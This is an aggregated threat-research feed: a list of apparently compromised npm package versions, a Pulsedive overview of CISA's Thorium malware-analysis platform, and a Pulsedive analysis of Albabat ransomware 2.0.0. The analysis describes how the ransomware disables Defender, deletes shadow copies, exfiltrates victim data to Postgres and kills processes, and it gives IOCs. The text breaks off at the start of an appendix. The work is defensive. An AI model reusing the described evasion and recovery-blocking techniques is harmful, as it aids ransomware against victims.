0.3.1

airpilot

0.8.8

angulartics2

14.1.1, 14.1.2

browser-webdriver-downloader

3.0.8

capacitor-notificationhandler

0.0.2, 0.0.3

capacitor-plugin-healthapp

0.0.2, 0.0.3

capacitor-plugin-ihealth

1.1.8, 1.1.9

capacitor-plugin-vonage

1.0.2, 1.0.3

capacitorandroidpermissions

0.0.4, 0.0.5

config-cordova

0.8.5

cordova-plugin-voxeet2

1.0.24

cordova-voxeet

1.0.32

create-hest-app

0.1.9

db-evo

1.1.4, 1.1.5

devextreme-angular-rpk

21.2.8

ember-browser-services

5.0.2, 5.0.3

ember-headless-form

1.1.2, 1.1.3

ember-headless-form-yup

1.0.1

ember-headless-table

2.1.5, 2.1.6

ember-url-hash-polyfill

1.0.12, 1.0.13

ember-velcro

2.2.1, 2.2.2

encounter-playground

0.0.2, 0.0.3, 0.0.4, 0.0.5

eslint-config-crowdstrike

11.0.2, 11.0.3

eslint-config-crowdstrike-node

4.0.3, 4.0.4

eslint-config-teselagen

6.1.7, 6.1.8

globalize-rpk

1.7.4

graphql-sequelize-teselagen

5.3.8, 5.3.9

html-to-base64-image

1.0.2

json-rules-engine-simplified

0.2.1, 0.2.4

jumpgate

0.0.2

koa2-swagger-ui

5.11.1, 5.11.2

mcfly-semantic-release

1.3.1

mcp-knowledge-base

0.0.2

mcp-knowledge-graph

1.2.1

mobioffice-cli

1.0.3

monorepo-next

13.0.1, 13.0.2

mstate-angular

0.4.4

mstate-cli

0.4.7

mstate-dev-react

1.1.1

mstate-react

1.6.5

ng2-file-upload

7.0.2, 7.0.3, 8.0.1, 8.0.2, 8.0.3, 9.0.1

ngx-bootstrap

18.1.4, 19.0.3, 19.0.4, 20.0.3, 20.0.4, 20.0.5

ngx-color

10.0.1, 10.0.2

ngx-toastr

19.0.1, 19.0.2

ngx-trend

8.0.1

ngx-ws

1.1.5, 1.1.6

oradm-to-gql

35.0.14, 35.0.15

oradm-to-sqlz

1.1.2, 1.1.5

ove-auto-annotate

0.0.9, 0.0.10

pm2-gelf-json

1.0.4, 1.0.5

printjs-rpk

1.6.1

react-complaint-image

0.0.32, 0.0.35

react-jsonschema-form-conditionals

0.3.18, 0.3.21

react-jsonschema-form-extras

1.0.4

react-jsonschema-rxnt-extras

0.4.9

remark-preset-lint-crowdstrike

4.0.1, 4.0.2

rxnt-authentication

0.0.3, 0.0.4, 0.0.5, 0.0.6

rxnt-healthchecks-nestjs

1.0.2, 1.0.3, 1.0.4, 1.0.5

rxnt-kue

1.0.4, 1.0.5, 1.0.6, 1.0.7

swc-plugin-component-annotate

1.9.1, 1.9.2

tbssnch

1.0.2

teselagen-interval-tree

1.1.2

tg-client-query-builder

2.14.4, 2.14.5

tg-redbird

1.3.1, 1.3.2

tg-seq-gen

1.0.9, 1.0.10

thangved-react-grid

1.0.3

ts-gaussian

3.0.5, 3.0.6

ts-imports

1.0.1, 1.0.2

tvi-cli

0.1.5

ve-bamreader

0.2.6, 0.2.7

ve-editor

1.0.1, 1.0.2

verror-extra

6.0.1

voip-callkit

1.0.2, 1.0.3

wdio-web-reporter

0.1.3

yargs-help-output

5.0.3

yoo-styles

6.0.326

References

  • ✇Pulsedive Blog
  • Thorium 101: Inside CISA’s Open Source Malware Analysis Platform Pulsedive Threat Research
    Thorium is a malware analysis platform designed to simplify analyst workflows by consolidating tools into a single interface. CISA describes it as “a highly scalable, distributed malware analysis and data generation framework”. Sound familiar? We released a guide on a similar open-source malware analysis tool called Assemblyline earlier this year (see below for a comparison of the two). Thorium is available as a GitHub repo, which is maintained by CISA. This blog outlines what Thorium is and how
     

Thorium 101: Inside CISA’s Open Source Malware Analysis Platform

10 de Setembro de 2025, 09:15
Thorium 101: Inside CISA’s Open Source Malware Analysis Platform

Thorium is a malware analysis platform designed to simplify analyst workflows by consolidating tools into a single interface. CISA describes it as “a highly scalable, distributed malware analysis and data generation framework”. Sound familiar? We released a guide on a similar open-source malware analysis tool called Assemblyline earlier this year (see below for a comparison of the two). Thorium is available as a GitHub repo, which is maintained by CISA. This blog outlines what Thorium is and how to use it. 

At a Glance Comparison: Thorium vs. Assemblyline

Thorium 101: Inside CISA’s Open Source Malware Analysis Platform
Figure 1: Comparison of Thorium and Assemblyline.
💡
For more details about Assemblyline, read our blog Assemblyline 101 - Open Source Malware Triage

What is Thorium?

Thorium is an open-source malware detection tool designed to simplify incident response, triage, and file analysis by providing secure file ingestion and storage, along with automated analysis. The platform also makes it easy for analysts to access storage copies of analyzed files and their metadata. 

When to use Thorium?

Thorium is great for teams that conduct file triage or analysis. Being able to store the results of their analyses in place makes it easy for other analysts to review the results and quickly search for additional information.

Key Features

  • Scalable platform for analysis
  • Static and dynamic analysis sandboxes
  • Easy-to-use interfaces
  • REST APIs for automation purposes
  • Multi-tenant capabilities
  • Full-test search
  • Key/Value tagging for data labels

CaRT and safely sharing files

A common problem faced by all malware analysts and researchers is how to store and share files safely. Some do this by storing them in password-protected zip archives or by changing the file extension to something that renders the file unable to execute. In some cases, these work to prevent accidental execution of malicious files; however, they can still be quarantined by security solutions. 

This is where CaRT (which stands for Compressed and RC4 Transport) comes in. CaRT is used to store and transfer malware, as well as its metadata. This is a product developed by the CSE in Canada, encrypting files to prevent them from being executed or quarantined by security solutions. Any file uploaded to Thorium is converted to CaRT format. They are also downloaded in CaRT format and must be “unCaRTed” to be executed.

Thorium Architecture

Thorium was designed to run within a K8s cluster. For deployment on a cluster, CISA mentions that a Block Storage Provider and S3 storage will be required. CEPH is recommended for on-premise solutions.

Components

API

The rest API allows the different Thorium components to coordinate activity and complete tasks. The API allows multiple instances to run on various components. This setup enables high availability, meaning that if one server with the API running fails, the entire Thorium platform remains operational.

Different databases are used to store various types of information.

Database

Resources

Redis

Reactions

Scheduling Streams

Scylla

File metadata

Reaction logs

Elastic

Tool Results < 1 MiB

S3

All files

Tool request > 1MiB

Jaeger

API request logs

Scaler

The scaler is used to determine when reactions or jobs are created. This system enables priority jobs to be executed on a portion of the platform while the rest of the platform executes other jobs. 

Agent

The agent is used to run tools by:

  • Downloading the required data
  • Executing tools
  • Streaming logs via API
  • Uploading results
  • Cleaning up temporary artifacts

Reactor

The reactor uses the Thorium API to get information about its nodes and creates or terminates workers to match the workload. 

Tracing/Logging

Logging is performed by tracing. Unified tracing is used to log to a central file server or disk. 

Event Handler

The event handler is responsible for triggering reactions (instances of a pipeline being run) based on actions that took place within Thorium. 

K8s Deployment

ℹ️
This blog will not delve into the deployment of Thorium on a Kubernetes (K8s) cluster. 

The Kubernetes cluster requires a storage provisioner that can allocate persistent volume claims for the database and tracing services. Admins also need account credentials and permissions to create buckets within an S3-compatible storage interface. 

The components that make up the Thorium deployment include:

  • Traefik
  • Rook
  • Redis
  • Scylla
  • Elastic
  • Tracing
    • Quickwit
    • Jaeger

Detailed installation for each of these services is available in the GitHub repo here.

Local Deployment

Minithor uses minikube to deploy Thorium to a single instance. This type of deployment is not recommended for production use and should only be used for development and testing purposes. Minithor implementations do not provide the scalability factor that Thorium was intended to give teams. 

The content of the GitHub repo was used during the instructions below.

Deploy Miniduke

Install and run Miniduke by executing the script

./install-linux

The content of the install script is provided below:

#!/bin/bash

curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube && rm minikube-linux-amd64
# set resources for VM
minikube config set cpus 8
minikube config set memory 15976
# alias kubectl command to minikube subcommand and add to .bashrc/rshrc
touch ~/.bashrc
if [[ $SHELL == *"bash"* ]] && ! grep -q "alias kubectl=\"minikube kubectl --\"" ~/.bashrc; then
    echo "alias kubectl=\"minikube kubectl --\"" >> ~/.bashrc
    source ~/.bashrc
fi
touch ~/.zshrc
if [[ $SHELL == *"zsh"* ]] && ! grep -q "alias kubectl=\"minikube kubectl --\"" ~/.zshrc; then
    echo "alias kubectl=\"minikube kubectl --\"" >> ~/.zshrc
    source ~/.zshrc
fi
# start of k8s cluster
minikube start --cni calico
# add required plugins
minikube addons enable csi-hostpath-driver
minikube addons enable ingress
minikube addons enable ingress-dns

Once MiniKube is installed, you need to create a file called .dockerconfigjson that contains the authentication credentials for the user account associated with the Thorium container. Following that, dependencies can be installed using the deploy script.

User Roles

Groups are used to grant permissions and access to resources for different users. All resources are owned by the person who creates them. 

System Roles

System Roles are used to perform actions at the global level. The roles include:

  • User
  • Analyst
  • Developer
  • Admin

The user role can use Thorium to conduct analysis, but cannot create new Pipelines. The developer role has more permissions than the user role. The admin roles allow users to modify any resource within Thorium. 

Thorium 101: Inside CISA’s Open Source Malware Analysis Platform
Figure 2: Description of each user role available within Thorium. Source: CISA

Group Roles

Groups are used to restrict a user’s ability to conduct operations on a group’s resources. Group resources include:

  • Images
  • Pipelines
  • Repos
  • Files
  • Tag
  • Comments
  • Analysis results
Thorium 101: Inside CISA’s Open Source Malware Analysis Platform
Figure 3: Permissions assigned to different roles. Source: CISA

File Origins

File origins are a feature within Thorium that can be used to describe any relationships that exist within the files.

Thorium 101: Inside CISA’s Open Source Malware Analysis Platform
Figure 4: Upload screen within Thorium. Source: CISA

The table below lists the various file origins available within the platform.

Type of File Origin

Explanation

Downloaded

The file was downloaded from a URL

Transformed

The file was obtained through transformations

Unpacked

The file was unpacked

Wire

The file was captured through the network

Incident

The file collected during an incident

Memory Dump

The file was obtained from a memory dump

Carved

The file was extracted from another file

PCAP

The file was extracted from a network capture

Unknown

The file was obtained from an unknown source

Thorium 101: Inside CISA’s Open Source Malware Analysis Platform
Figure 5: Subfields for each of the file origins. This subfields are used to provide insights for each identified file.

Images & Pipelines

Tools are referred to as Images within Thorium. As of September 4th, 2025, no tools have been released as part of the Thorium build; however, users and organizations can add their own tools as needed. Images can be created using the Developer role. 

Images can be added via the Web UI. This is done through the Image confirmation settings, where users can specify the name, Group, and Image required, among other settings. Once the relevant information has been entered, Thorium is able to use the tool and display its output.

Thorium 101: Inside CISA’s Open Source Malware Analysis Platform
Figure 6: UI used to create an Image: Source: CISA
Thorium 101: Inside CISA’s Open Source Malware Analysis Platform
Figure 7: Parameters used to configure Images.

Pipelines

Pipelines are a way to run multiple Images through in an automated fashion. These are used to run different tools and collect their outputs sequentially. They are created in the Pipelines creation menu, where users will provide a Pipeline name, the SLA, Image order, and Group.

Thorium 101: Inside CISA’s Open Source Malware Analysis Platform
Figure 8: Dialog shown when creating a Pipeline. Source: CISA
💡
Images must already be created for them to be used as part of a Pipeline in Thorium.

Thorium enables organizations to help scale and standardize their file triage and analysis steps. The ability to have tools contained within a single platform helps analysts with file analysis and management. Pipelines and their use in automating processes are an interesting concept that can be employed to perform static analysis on files using multiple tools, with the resulting information ready for review by a human analyst when required. 

Thorctl

Thorium is also accompanied by a command-line tool that can be used to perform different operations. The CLI tool can be used to:

  • Upload files or Git repos
  • Download files or repos
  • Start reactions
  • Download results
  • List files

Download instructions for both Unix and Windows are available here.

An example of the CLI usage is provided below:

$ thorctl files upload --help
Upload some files and/or directories to Thorium

Usage: thorctl files upload [OPTIONS] --file-groups <GROUPS> [TARGETS]...

Arguments:
  [TARGETS]...  The files and or folders to upload

Options:
  -g, --groups <GROUPS>            The groups to upload these files to
  -p, --pipelines <PIPELINES>      The pipelines to spawn for all files that are uploaded
  -t, --tags <TAGS>                The tags to add to any files uploaded where key/value is separated by a deliminator
      --deliminator <DELIMINATOR>  The deliminator character to use when splitting tags into key/values [default: =]
  -f, --filter <FILTER>            Any regular expressions to use to determine which files to upload
  -s, --skip <SKIP>                Any regular expressions to use to determine which files to skip
      --folder-tags <FOLDER_TAGS>  The tags keys to use for each folder name starting at the root of the specified targets
  -h, --help                       Print help
  -V, --version                    Print version

Conclusion

As a new entrant to the malware analysis space, Thorium provides cybersecurity teams with a highly customizable and free platform to enhance malware analysis, triage, and incident response workflows. By combining several essential capabilities in one tool, it helps analysts with organizational file sorting, storage, analysis, and collaboration. While still relatively immature, Thorium is a promising option to consider for teams seeking affordable and flexible solutions.

References

GitHub - cisagov/thorium: A scalable file analysis and data generation platform that allows users to easily orchestrate arbitrary docker/vm/shell tools at scale.
A scalable file analysis and data generation platform that allows users to easily orchestrate arbitrary docker/vm/shell tools at scale. - cisagov/thorium
Intro - Thorium
  • ✇Pulsedive Blog
  • Albabat 2.0.0 Decoded: A Config-Driven Design Pulsedive Threat Research
    Albabat, also known as White Bat, is a ransomware that has been observed since late 2023. The ransomware binary is written in Rust and encrypts files based on a configuration file. Version 0.1.0 was first observed in November 2023, with version 0.3.0 identified in late December 2023. Version 0.3.3 was seen in January 2024. Newer versions of the ransomware target Windows but can also gather system information from Linux and macOS devices. A Trend Micro report from March 2025 states that the ranso
     

Albabat 2.0.0 Decoded: A Config-Driven Design

16 de Maio de 2025, 13:00
Albabat 2.0.0 Decoded: A Config-Driven Design

Albabat, also known as White Bat, is a ransomware that has been observed since late 2023. The ransomware binary is written in Rust and encrypts files based on a configuration file. Version 0.1.0 was first observed in November 2023, with version 0.3.0 identified in late December 2023. Version 0.3.3 was seen in January 2024. Newer versions of the ransomware target Windows but can also gather system information from Linux and macOS devices. A Trend Micro report from March 2025 states that the ransomware’s configuration data was hosted on GitHub and is retrieved during execution. 

Albabat 2.0.0 Decoded: A Config-Driven Design

Security Research @JAMESWT_WT on X shared several samples of Albabat on Malware Bazaar. One such sample is also present on Any.Run and serves as the source for the content in this analysis. The blog explores the configuration file used by the Albabat ransomware version 2.0.0 to identify any commands the ransomware executes, what files are targeted, and details about the ransom note. 

#Albabat Ransomware at @AnyRun
with
https://api.github[.com/repos/billdev1/abbt/contents/content/
config.json
wpp.jpg
icon.ico
db.html

👇👇👇
✅https://t.co/v5M4D4XTkq
👆👆👆 pic.twitter.com/cik7iG3Zyy

— JAMESWT (@JAMESWT_WT) March 22, 2025

Figure 1: X (Twitter) post by @JAMESWT_WT about Albabat Ransomware

Analysis 20-03-2025_E337Y98NvS521352.rar (MD5: D776DA39FA7EA417A1A31404E58ADA08) Malicious activity - Interactive analysis ANY.RUN
Interactive malware hunting service. Live testing of most type of threats in any environments. No installation and no waiting necessary.

Sample Analysis

File Details

The file analyzed as part of this blog can be found on VirusTotal. The following table shows information about the sample, including hash values.

SHA256

13d128038c341e850b55bc900ecee93496521c74bd9f3f8ea63e86042c5b6a9b

SHA1

1cc2d1f2a991c19b7e633a92b1629641c019cdeb

MD5

2a78ca5302034ed8efcc52313750b634

ssdeep

49152:L6m8TVa+Jr+OjqEMygXG4ulPh12eHayKTGgxIqytCDHHsafr5PydNj84g55Y+RkI:tulPG52iDsIv44kSk5TPDOzrR5yvdA

File Size

4.97 MB

File Type

Win32 EXE

💡
The pcap file and SSL keys required for TLS decryption are included below.
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 2: VirusTotal Link for Albabat Binary. Scan results are from May 11th, 2025.
VirusTotal
VirusTotal

The sample contacts GitHub to download several files. The first file is the configuration file, which is a .json file. After that, the binary requests the Albabat wallpaper and icon along with a template of the ransom note.

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 3: Network Traffic showing connections to GitHub. The ransomware requests its config, wallpaper and HTML ransom note from GitHub.
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 4: The Albabat wallpaper.

The icon file requested by the ransomware sample is just a bat logo that is also present within the wallpaper.

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 5: A CyberChef recipe used to decode the icon file that was requested from GitHub.

The binary also initiated requests to ifconfig[.]co and ipify[.]org. The first request is to ifconfig and is used to get geolocation about the IP, whereas the request to ipify just returns the public IP address of the device.

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 6: HTTP traffic to ifconfig[.]co showing the IP address and geolocation of the device.
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 7: HTTP traffic to ipify[.]org returning the IP address of the device.

Details within the configuration file

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 8: Information within the configuration file indicates that this is version 2.0.0. Also present is a link to DailyMotion video.

To download the config.json file, the binary connects to GitHub using the user-agent Awesome App and a hardcoded authorization token. The connection is to a repo hosted by the user billdev1.

❗
The complete config.json file is present within Appendix 1.
💡
The Trend Micro blog on Albabat contains more details about the GitHub repo.
Albabat Ransomware Group Potentially Expands Targets to Multiple OS Uses GitHub to Streamline Operations
Trend Research encounters new versions of the Albabat ransomware, which appears to target Windows, Linux, and macOS devices. We also reveal the group’s use of GitHub to streamline their ransomware operation.
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 9: HTTP Traffic to GitHub showing the config.json file being requested.

The response to the request is a file included in base64 encoding format. The entire file is available within the content parameter. This file can be decoded using CyberChef, a web-based utility that allows analysts to manipulate or transform inputs based on a series of steps called a recipe; the short recipe we used to decode it is provided below. 

Find_/_Replace({'option':'Simple string','string':'\\n'},'',true,false,true,false)
From_Base64('A-Za-z0-9+/=',true,false)
Generic_Code_Beautify()
💡
For more details on how to use CyberChef, please read our Tool Guide: CyberChef 101
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 10: Decoded configuration file showing command to device executed on Windows, Linux and macOS.

The config.json file also contains a link to a Dailymotion video. The video shows a user opening several files, which may be used to show that decrypted files open as intended. The link was opened in Any.Run and can be viewed here.

Analysis https://www.dailymotion.com/embed/video/x8t67y8 No threats detected - Interactive analysis ANY.RUN
Interactive malware hunting service. Live testing of most type of threats in any environments. No installation and no waiting necessary.

Postgres Database Connection

The config.json file contains connection information for a Postgres database. This database stores information exfiltrated from the compromised device. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 11: Postgres Database connection details present within config.json.

The information consists of identifying information used to provide details about the device and the victim. The information stored within the database includes:

pin

key

extension

version

type_encryption

qtd_encrypted

paid_out

btc_address

ip

operational_system

av

machine_name

user_name

full_name

email

mac_address

cpu_name

motherboard_name

country

city

region_name

latitude

longitude



This connection takes place over port 5432/TCP. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 12: Traffic to the Postgres server.
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 13: TCP Stream showing details sent to the Postgres database. System information is added to the database via an insert command.
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 14: System information exfiltrated from the compromised device.

The details sent to the database show that the files were encrypted using c20p1305 (ChaCha20 and Poly1305). 

Commands Executed

Windows

The ransomware binary executes several commands on Windows devices to collect information, evade detection, and inhibit system recovery. 

System Information Discovery

The binary uses wmic commands to collect information about the operating system, anti-virus software on the device, motherboard, CPU, and MAC address information. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 15: Command hardcoded within the config.json. These are used to collect system information from Windows devices.

During execution, the binary also attempted to execute the net session command to identify all active sessions on the device.

Evade Detection

The ransomware sample attempts to tamper with Microsoft Defender by modifying several parameters using PowerShell. The sample attempts to:

  • Disable real-time monitoring
  • Require consent for all samples before they are submitted
  • Disable the auto-exclusion feature on the device
  • Disable controlled folder access
  • Stop sending information to Microsoft as part of the Microsoft Active Protection Service
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 16: Commands used to tamper with Microsoft Defender.
Inhibit System Recovery

The binary attempts to make it more difficult for users to recover impacted devices by deleting shadow copies, using bcdedit to modify the boot process to ignore errors, and disabling automatic Windows recovery features. Moreover, the binary modifies registry keys to disable Windows command line and task manager.

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 17: Commands that will be executed to prevent system recovery.
Linux

The commands run on Linux devices are to collect system information. These include gathering the OS version, motherboard details, CPU model information, and the device's MAC address. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 18: System information commands that will be executed on Linux.
macOS

Similarly, the commands executed on macOS also collect information about the device. These commands include getting the product name, version, CPU type, and MAC address. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 19: System information commands that will be executed on macOS.

Encrypting Files

The configuration file contains exclusions categorized as folders, file extensions, and files. These exclusions ensure that when the ransomware starts encrypting files, it only targets personal files and does not render the endpoint unusable. These are shown in Figure 20 below. The ransomware appears to encrypt files with a random file extension. The encrypted files in the sample we reviewed had the file extension .kZwtY8rR.

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 20: Exclusions specified within the config.json.

The folders ignored by the ransomware are:

Searches/

AppData/

$RECYCLE.BIN/

System Volume Information/

windows.old/

steamapps/

perflogs/

ansel/

tmp/

node_modules/

cache/

vendor/

target/

Mozilla/

venv/

Chrome/

google-chrome/

pypoetry/

vimfiles/

viminfo

site-packages/

scoop/

go/

temp/


The folders ignored by the ransomware are:

~$

.src

.ico

.cur

.theme

.themepack

.bat

.com

.cmd

.cpl

.prf

.icls

.idx.

.mod

.pyd

.vhdx

._pth

.hta

.mp3

.CHK

.pickle

.pif

.url

.ogg

.tmp

.dat

.exe

.lnk

.win

.vscdb

.bin

.cab

.inf

.lib

.tcl

.cat.

.so

.msi

.vpk

.vc

.ini

.bik

.sfx

.xnb

.ttf

.otf

.woff

.woff2

.vfont

.resource

.N2PK

.log

.pkg

.desktop

.dll

.pkr

.arc

.sig

.bk2

.arz

.swf

.qt

.wma

.mp2

.vdf

.pdb

.nfo

.whl

.mui

.srm

.dic

.lock

.pyc

.TAG

.locale

.store

.sdi

.library-ms

.acf

.po

.mo





The files ignored by the ransomware are:

ntuser.dat

ntuser.ini

iconcache.db

Thumbs.db

.DS_Store

Terminate Applications 

The ransomware binary terminates several processes before encrypting files. The binary calls the taskkill command-line utility and passes the image name as a parameter to terminate processes, as shown in Figure 22. The configuration file separates the items to terminate into Windows processes, Linux processes, and Windows services. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 21: Processes to be terminated across different operating systems.

The complete list of applications that the binary attempts to kill is shown below.

Windows Processes

taskmgr.exe

processhacker.exe

regedit.exe

code.exe

excel.exe

powerpnt.exe

winword.exe

msaccess.exe

mspub.exe

msedge.exe

virtualboxvm.exe

virtualbox.exe

chrome.exe

cs2.exe

steam.exe

postgres.exe

mysqlworkbench.exe

outlook.exe

mysqld.exe

windowsterminal.exe

powershell.exe

cmd.exe

sublime_text.exe

microsoft.photos.exe

photosapp.exe

Linux Processes

code

chmore*

 

 


Windows Services

VBoxSDS





We believe that the chmore process listed in the Linux processes is a spelling error and that the threat actor wanted to terminate the Chrome process.

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 22: The binary uses the taskkill command to terminate running processes.

The ransomware sample uses a hardcoded public key within the config.json file for encryption.

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 23: Hardcoded RSA Public Key present within the config.json file.
❗
A text-based version of the RSA key is available within Appendix 3.

The config.json file also contains other settings used by the binary during encryption. These settings include whether or not to open the ransom note, deploy it in multiple directories, and kill specified processes. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 24: Other parameters present within the config.json. These are related to encryption parameters and whether or not to terminate processes.

Apart from the excluded directories, file extensions, and file names mentioned above, the ransomware iterates through a device's drives and encrypts files within each drive. Moreover, the config.json also contains paths for database locations targeted for encryption. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 25: File paths that are targeted for encryption.

The config.json file also specifies the locations where the ransom note will be dropped. 

Ransom Note Analysis

The ransomware note is an HTML file with multiple pages. The first page contains all the relevant details for the victim. Upon opening the ransomware note, the victim is presented with a table that includes their PIN and the file extension used during the encryption process. The PIN is a unique identifier used to identify the victim during conversations with the threat actor.  

❗
The complete ransom note is provided in Appendix 2.
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 26: The ransom note contains the extension used by the ransomware and a unique PIN.

Further down the page is a description of Albabat ransomware and some information about the folders it created. The ransomware drops four files in a folder under the current user’s profile. These are:

  • The ransomware note
  • Logger.log
  • Ping.txt
  • Wallpaper.jpg

The logger.log file will contain a list of all the encrypted files. In our case, this file was empty. 

The README file also outlines that the PIN will be used within the decryption key and serves as a unique identifier. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 27: Details about how the PIN is used.
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 28: Details about the logger.log file and the encrypted files.

The ransomware note specifies that communication occurs predominantly via Session, a secure messaging application. The ransom note contains a Session ID to communicate with the ransomware operators. Apart from the chat ID, the ransom note lists a Mail2tor email. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 29: Contact details present within the ransom note. These were also present in the config.json file.

Following the contact information is all the payment information required to pay the ransom. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 30: Payment information include Bitcoin addresses within the ransom note.

The last section of the ransom note’s main page is about decryption. This outlines how to use the decryption tool to decrypt files. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 31: The ransom note contains details about the decryptor and its usage.

The other pages of the ransom note are an FAQ page, a credits page, and a translator function that leverages Google Translate to translate the ransom note from English into a language of the victims' choosing. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 32: FAQ page present within the ransom note.
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 33: Credit pages listing the name of the developer.
Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 34: Google Translate is used to translate the ransom note to different languages.
💡
ID Ransomware is a great tool for identifying ransomware based on the ransom note, encrypted file, or contact information provided. 

Bitcoin Wallet Analysis

The configuration file contains a Bitcoin address and the ransom amount (Figure 8) mentioned in the ransom note as shown above. As of May 7th, 2025, 17:00 EST, this wallet contained no bitcoins, and several tools that track cryptocurrency transactions indicate no associated activity for that address. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 35: The Bitcoin address mentioned in the ransom note does not contain any Bitcoin nor does it have any transactions.

Security vendor WatchGuard has a page on Albabat ransomware, which includes several details about the ransomware and screenshots of its ransom note. WatchGuard’s page lists a different Bitcoin address from the sample. This address also has no transactions associated with it and is empty.   

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 36: Bitcoin address tracked by WatchGuard.

Moreover, WatchGuard’s report lists the ransom demand as 0.0016 BTC, whereas the configuration file hosted on GitHub demands 0.0018 BTC. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 37: WatchGuard's page on Albabat mentions that the group was asking for 0.0016 BTC. Source: WatchGuard

Trend Micro’s blog on Albabat indicates that the ransomware is still under development, with researchers finding a config file for version 2.5.0 of the ransomware. A notable difference in this config file is the inclusion of other cryptocurrency addresses and a new Bitcoin one. The configuration file indicates that the operators behind Albabat will now accept payment in Bitcoin, Ethereum, Solana, and BNB. 

Albabat 2.0.0 Decoded: A Config-Driven Design
Figure 38: config.file for Albabat version 2.5.0 includes additional cryptocurrency wallets. Source: Trend Micro

Conclusion

Albabat version 2.0.0 uses a configuration file hosted on GitHub to determine what files to encrypt, processes to terminate, and Postgres connection information. This configuration file also contains details used to create the ransom note. Public reporting of version 2.5.0 highlights the threat actor's continued use of the config.json file and how it has moved to accept additional cryptocurrencies as payment mechanisms. The config.json file potentially allows the threat actor to expand capabilities or modify how it operates without rebuilding the binary itself.  

Recommendations

Maintain regular backups

  • Backups of critical data can be used to mitigate the risk of ransomware by allowing organizations to restore key systems with minimal data loss.
    • For backups to be effective, they must be taken frequently, and restoration processes must be tested regularly.

Establish Vulnerability Management Practices

  • All devices should be regularly scanned for vulnerabilities, and any found should be patched based on their vulnerability and asset criticality.
  • Risk registers should be used to track software and assets that cannot be patched, and other risk mitigation strategies should be considered.  

Incident Response Plans and Preparedness

  • As ransomware remains a significant threat to organizations worldwide, an incident response plan is crucial for effectively detecting, containing, and mitigating security breaches when they occur. 
  • This plan should outline which parties should be involved in the response, what actions should be taken, and at what point additional stakeholders should be involved. 
  • In addition to having an incident response plan, organizations should go through incident response tabletop exercises to ensure stakeholders are familiar with the plan and their role during an incident. 
💡
CISA offers various "Cybersecurity Scenarios" Tabletop Exercise Packages for different cyber threats.

Albabat Ransomware MITRE ATT&CK TTPs

Technique

Tactic

Command and Control

Ingress Tool Transfer (T1105)

Non-Standard Port (T1571)

Credential Access

Unsecured Credentials (T1552)

Credentials in Files (T1552.001)

Defense Evasion

Impair Defenses (T1562)

Disable or Modify Tools (T1562.001)

Masquerading (T1036)

Modify Registry (T1112)

Obfuscated Files or Information (T1027)

Process Injection (T1055)

Discovery

Application Window Discovery (T1010)

File and Directory Discovery (T1083)

Network Share Discovery (T1135)

Process Discovery (T1057)

Query Registry (T1012)

Software Discovery (T1518)

Security Software Discovery (T1518.001(

System Information Discovery (T1082)

System Service Discovery (T1007)

Evasion

Masquerading (T1036)

Execution

AppleScript (T1059.002)

Command and Scripting Interpreter (T1059)

Malicious File (T1204.002)

User Execution (T1204)

PowerShell (T1059.001)

System Services (T1569)

Service Execution (T1569.002)

Unix Shell (T1059.004)

User Execution (T1204)

Windows Command Shell (T1059.003)

Windows Management Instrumentation (T1047)

Impact

Data Encrypted for Impact (T1486)

Inhibit System Recovery (T1490)

Defacement (T1491)

Internal Defacement (T1491.001)

Service Stop (T1489)

Initial Access

Phishing (T1566)

Persistence

Boot or Logon Autostart Execution (T1547)

Registry Run Keys / Startup Folder (T1547.001)

Privilege Escalation

Process Injection (T1055)

Boot or Logon Autostart Execution (T1547)

Registry Run Keys / Startup Folder (T1547.001)

References

Albabat Ransomware Group Potentially Expands Targets to Multiple OS Uses GitHub to Streamline Operations
Trend Research encounters new versions of the Albabat ransomware, which appears to target Windows, Linux, and macOS devices. We also reveal the group’s use of GitHub to streamline their ransomware operation.
Ransomware Roundup - Albabat | FortiGuard Labs
The financially motivated Albabat ransomware began distributing as a rogue program in late 2023, and has since evolved. Learn more.…
Albabat Ransomware | WatchGuard Technologies
Albabat is the successor to Albabat Beta, which was first observed in November 2023. The ransomware is written in Rust and uses a hybrid encryption method.
Analysis 20-03-2025_E337Y98NvS521352.rar (MD5: D776DA39FA7EA417A1A31404E58ADA08) Malicious activity - Interactive analysis ANY.RUN
Interactive malware hunting service. Live testing of most type of threats in any environments. No installation and no waiting necessary.

Appendices

Appendix 1 - Configuration file

{
	"db": {
		"url": {
